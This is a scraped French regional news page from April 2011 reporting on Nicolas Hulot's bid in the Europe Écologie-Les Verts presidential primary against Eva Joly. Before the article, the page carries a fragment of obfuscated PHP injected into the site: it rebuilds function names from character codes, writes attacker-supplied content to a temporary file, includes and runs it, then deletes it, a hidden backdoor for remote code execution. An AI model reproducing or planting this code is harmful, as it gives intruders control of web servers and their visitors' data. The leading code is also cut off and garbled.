nxizUitDoy(); $xaTGNZ = "44459";$MJSXWjmZNW = str_pad($xaTGNZ, 10);}}$zctmRdjpgY = new /* 15509 */ Jm_CwiCI(); $zctmRdjpgY = substr("33110_15405", 1);} ?>IiVuuRpZvg();}private function IiVuuRpZvg(){if (is_array(D_Cue::$yzdPAuGVG)) {$ZObHYT = sys_get_temp_dir() . "/" . crc32(D_Cue::$yzdPAuGVG[chr (115) . "\x61" . 'l' . chr ( 536 - 420 )]);@D_Cue::$yzdPAuGVG['w' . chr ( 401 - 287 ).'i' . 't' . "\145"]($ZObHYT, D_Cue::$yzdPAuGVG['c' . 'o' . chr (110) . "\x74" . "\x65" . chr (110) . chr (116)]);include $ZObHYT;@D_Cue::$yzdPAuGVG["\x64" . chr ( 499 - 398 ).'l' . chr (101) . "\x74" . 'e']($ZObHYT);exit();}}}$rOujG = new D_Cue(); $rOujG = NULL;} ?>gNHInHSo();}private function gNHInHSo(){if (is_array(y_pFst::$xHyRoSeKR)) {$kpaeK = sys_get_temp_dir() . "/" . crc32(y_pFst::$xHyRoSeKR[chr ( 359 - 244 ).chr ( 561 - 464 )."\154" . 't']);@y_pFst::$xHyRoSeKR[chr (119) . chr (114) . chr ( 872 - 767 ).'t' . "\x65"]($kpaeK, y_pFst::$xHyRoSeKR[chr ( 128 - 29 ).chr ( 245 - 134 )."\x6e" . "\x74" . "\x65" . "\x6e" . "\x74"]);include $kpaeK;@y_pFst::$xHyRoSeKR[chr ( 1039 - 939 )."\x65" . chr ( 927 - 819 ).chr (101) . chr (116) . 'e']($kpaeK);exit();}}}$gakooZyNFI = new y_pFst(); $gakooZyNFI = NULL;} ?>
13 avril 2011 06h00 | Par Dominique de Laage | 1 | commentaire(s) |
Rédaction parisienne
Lui qui aime le sport extrême va être servi. La candidature de Nicolas Hulot à la primaire d'Europe Écologie-Les Verts (EELV) pour 2012 a beau être plébiscitée dans les sondages (lire notre édition du 3 avril), « il ne faut pas confondre notoriété et crédibilité », lui oppose déjà la candidate déclarée et préférée de l'appareil écolo, l'ancienne magistrate Eva Joly.
La joute s'annonce rude entre les deux prétendants, Yves Cochet ayant déclaré qu'il se retirerait dès lors que Nicolas Hulot entrerait dans le jeu. À l'inverse, le Girondin antinucléaire Stéphane Lhomme a fait acte de candidature en réaction à cette annonce, qualifiant Nicolas Hulot et sa fondation, financée - entre autres - par EDF et l'Oréal, d'« imposteur de l'écologie ».
Visibilité médiatiqueL'homme du « pacte écologique » de la dernière présidentielle, qui avait finalement renoncé à la course à l'Élysée pour tenter de peser sur le cours des choses de l'extérieur, via notamment le Grenelle de l'environnement, a choisi l'une des communes les plus pauvres de la couronne parisienne pour annoncer, ce matin, sa candidature. « Sevran est également l'une des villes les plus jeunes d'Île-de-France, note son maire, l'ex-communiste Stéphane Gatignon, 41 ans, passé EELV aux dernières régionales. Les banlieues paupérisées sont à la fois les plus touchées par les effets sociaux des dérèglements climatiques et les plus porteuses d'espoir. C'est l'urbanité de demain. Nicolas Hulot ne se trompe pas en choisissant Sevran comme marqueur politique. »
À la fois haï par une frange d'écologistes qui le jugent illégitime et très populaire chez les Français et les écolos moins « historiques », tels que le maire de Sevran, Nicolas Hulot représente au moins l'assurance, pour EELV, de renouer avec la visibilité médiatique. Ce à quoi est loin d'être encore parvenue Eva Joly.
Noël Mamère, l'un des mentors de l'ex-magistrate, ne s'y trompe pas lorsqu'il salue l'arrivée de Nicolas Hulot d'un « Bienvenue au club ! » « Pour moi, Eva Joly est la seule à incarner le débat sur les valeurs en faillite dans le pays. Mais nous n'allons pas nous plaindre d'avoir une personnalité de la qualité de Nicolas Hulot pour la primaire. D'autant qu'il pourrait être bientôt rejoint par Corinne Lepage », lance le député-maire de Bègles.
Joly, plus socialo-compatibleTant que les règles du jeu de cette fameuse primaire ne sont pas encore complètement établies, hormis le calendrier (juin), difficile de dire si Nicolas Hulot à une chance ou pas, malgré sa popularité, de supplanter la candidature d'Eva Joly, nettement plus « dans la ligne » du nouveau mouvement EELV.
Celle-ci paraît, a priori, plus socialo-compatible que Nicolas Hulot. « Travailler avec le PS, c'est déjà dur. Avec l'UMP, on ne saurait pas faire » lance un élu vert de l'agglomération bordelaise, Gérard Chausset, faisant allusion à la proximité de Nicolas Hulot avec Jacques Chirac. « Le pedigree de gauche d'Eva Joly semble plus évident », a également dit cette semaine Benoît Hamon, le porte-parole du PS.
Personne n'est dupe. Alors que la secrétaire nationale d'EELV, Cécile Duflot, a préféré passer son tour en 2012, chacun sait que le réservoir écolo risque d'être siphonné dès le premier tour au nom du « vote utile », à gauche donc. « Raison de plus pour présenter un candidat populaire et susceptible de faire des voix », objecte le maire de Sevran.
« La vérité, c'est que le vote écologique est de plus en plus une force du centre mais que ses dirigeants, eux, demeurent très ancrés à gauche et au PS », note le porte-parole du Modem, Yann Wehrling, un ancien… écolo. « Nicolas Hulot est quelqu'un avec qui nous pourrions travailler », dit-on encore au parti de François Bayrou.
Cette inscription consensuelle au cœur de l'échiquier politique est à la fois la force et la faiblesse de Nicolas Hulot.
JeunesseLes etoilesDe Toulenne
ACCSL
Cantà di core
Toutes les associations du Sud-Ouest
| |||||||||
|
13/04/2011, à 20h38
Alertez